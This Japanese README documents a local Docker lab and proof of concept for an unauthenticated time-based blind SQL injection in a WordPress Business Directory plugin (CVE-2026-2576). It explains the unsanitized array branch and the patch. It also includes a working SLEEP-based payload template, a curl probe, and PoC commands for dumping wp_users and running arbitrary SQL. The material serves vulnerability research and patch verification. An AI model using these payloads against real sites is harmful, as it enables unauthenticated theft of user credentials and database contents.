
CVE-2026-2576 — Business Directory プラグイン SQLi PoC(ローカルセットアップ)。WordPress 用 Business Directory プラグイン ≤ 6.4.21 における未認証の時間ベースのブラインド SQL インジェクション
| フィールド | 詳細 |
|---|
| CVE | CVE-2026-2576 |
| プラグイン | Business Directory Plugin – Easy Listing Directories for WordPress |
| ベンダー | strategy11team |
| 影響を受けるバージョン | 6.4.21 以下の全バージョン |
| 修正済み | 6.4.22 |
| タイプ | 時間ベースブラインドSQLインジェクション (CWE-89) |
| 認証 | 不要 — 完全に認証なし |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 割り当て元 | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| 公開日 | 2026年2月18日 |
Business Directory プラグインは、決済機能を備えたリスティングディレクトリを構築するために広く使用されている WordPress プラグインです。その ORM クエリビルダーの欠陥により、認証されていない攻撃者が payment クエリパラメータを介して時間ベースのブラインドSQLインジェクションを実行し、データベースの内容を推測できるようになります。
この脆弱性は ORM クエリビルダーに存在します:
ファイル: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ 脆弱 — サニタイズなし、直接文字列連結
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ 安全 — $wpdb->prepare() を使用
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
$v がスカラーの場合、コードは正しく $wpdb->prepare() を使用します。$v が配列の場合、安全でない分岐に入り、値をエスケープなしで直接 SQL 文字列に連結します。
チェックアウトコントローラー (includes/controllers/pages/class-checkout.php) は payment リクエストパラメータを読み取り、ORM に渡します:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id が値として渡される
);
}
PHP はクエリ文字列内の payment[]=value を自動的に配列 $_GET['payment'] = ['value'] に変換します。これにより、filter_args() 内で $v が強制的に配列となり、安全でない分岐に到達します。
GET /?page_id=4&wpbdp_view=checkout&payment[]=<ペイロード>
PHP: $_REQUEST['payment'] = ['<ペイロード>'] ← [] 記法により配列になる
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<ペイロード>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → 安全でない分岐
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<ペイロード>')
payment[]=<キー>') AND IF((<条件>),SLEEP(N),0)-- -
生成される SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<キー>') AND IF((<条件>),SLEEP(N),0)-- -')
-- - は末尾の ') をコメントアウトします。IF() はブールオラクルを作成し、条件が TRUE の場合 SLEEP(N) が発火してレスポンスが遅延し、FALSE の場合は即座にレスポンスが返ります。
注記: ORM はリクエストごとにクエリを2回実行します (get() 内と maybe_execute_query() 内)。そのため、SLEEP(1) ペイロードは約2秒の観測可能な遅延を生み出し、SLEEP(2) は約4秒の遅延を生み出します。
認証されていない攻撃者は、時間ベースのレスポンスを通じてデータベースの内容を文字単位で推測・抽出できます。これには以下が含まれます:
wp_users)、ユーザー名、メールアドレス、パスワードハッシュバージョン 6.4.22 の修正では、filter_args() の配列分岐にサニタイズが追加されています:
// 修正前 (脆弱)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// 修正後 (パッチ適用済み)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Python 依存関係のインストール:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
以下の表示が出るまで待ちます:
╔══════════════════════════════════════════════════════════╗
║ Lab Setup Complete! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERABLE) ║
║ BD Page ID: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# 期待される出力: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# http://localhost:8082 でアクセス (root / rootpass)
すべてのコマンドは Kali ホスト上のラボルートディレクトリから実行します。
http://localhost:8080 (ホスト → Docker ポートマッピング) を使用します。
payment_key は wp_wpbdp_payments 内の既存の行に対応している必要があります。
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
期待される出力: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| フラグ | デフォルト | 備考 |
|---|---|---|
--sleep N | 1 | オラクルごとの SLEEP(N)。TRUE ≈ N×2秒。低いほど高速、ノイズ多め |
--threads N | 4 | 並列文字位置。8 は最新ハードウェアで良好に動作 |
# 最速の抽出
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# ベースライン: 0.1秒未満で返るはず
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# Sleep プローブ: 約4秒で返るはず (SLEEP(2) × 2回の実行)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
脆弱なバージョンとパッチ適用済みバージョンを差分比較するには:
python3 poc/patch_diff.py
# 完全な差分の場合
python3 poc/patch_diff.py --full
# 両方のバージョンをダウンロード
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# 脆弱なファイルを差分比較
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
差分には、filter_args() の配列分岐に esc_sql() が追加されたことが表示されます。
# ラボの停止 (データは保持)
docker compose stop
# 再起動
docker compose start
# 完全な破棄 — すべてのボリュームとデータを削除
docker compose down -v
# 最初からセットアップを再実行
docker compose down -v && docker compose up setup
# WordPress コンテナにシェルで入る
docker exec -it lab_wordpress bash
# WordPress PHP エラーログを表示
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# MySQL クエリログをリアルタイムで監視
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() ドキュメント — https://developer.wordpress.org/reference/classes/wpdb/prepare/このリポジトリは認可されたセキュリティ研究および教育目的のみを意図しています。すべてのテストは隔離されたローカルラボ環境で実施されました。所有していないシステム、または明示的な書面によるテスト許可がないシステムに対して、このツールを決して実行しないでください。コンピュータシステムへの不正アクセスは、コンピュータ詐欺および不正使用取締法 (CFAA) および他の管轄区域の同等の法律に基づき違法です。
著者は、この資料の誤用について一切の責任を負いません。常に責任ある開示の慣行に従ってください — この研究に基づいて新たな発見をした場合は、公開前にベンダーと調整してください。
Kali Linux 上の隔離された Docker ラボで研究・開発されました。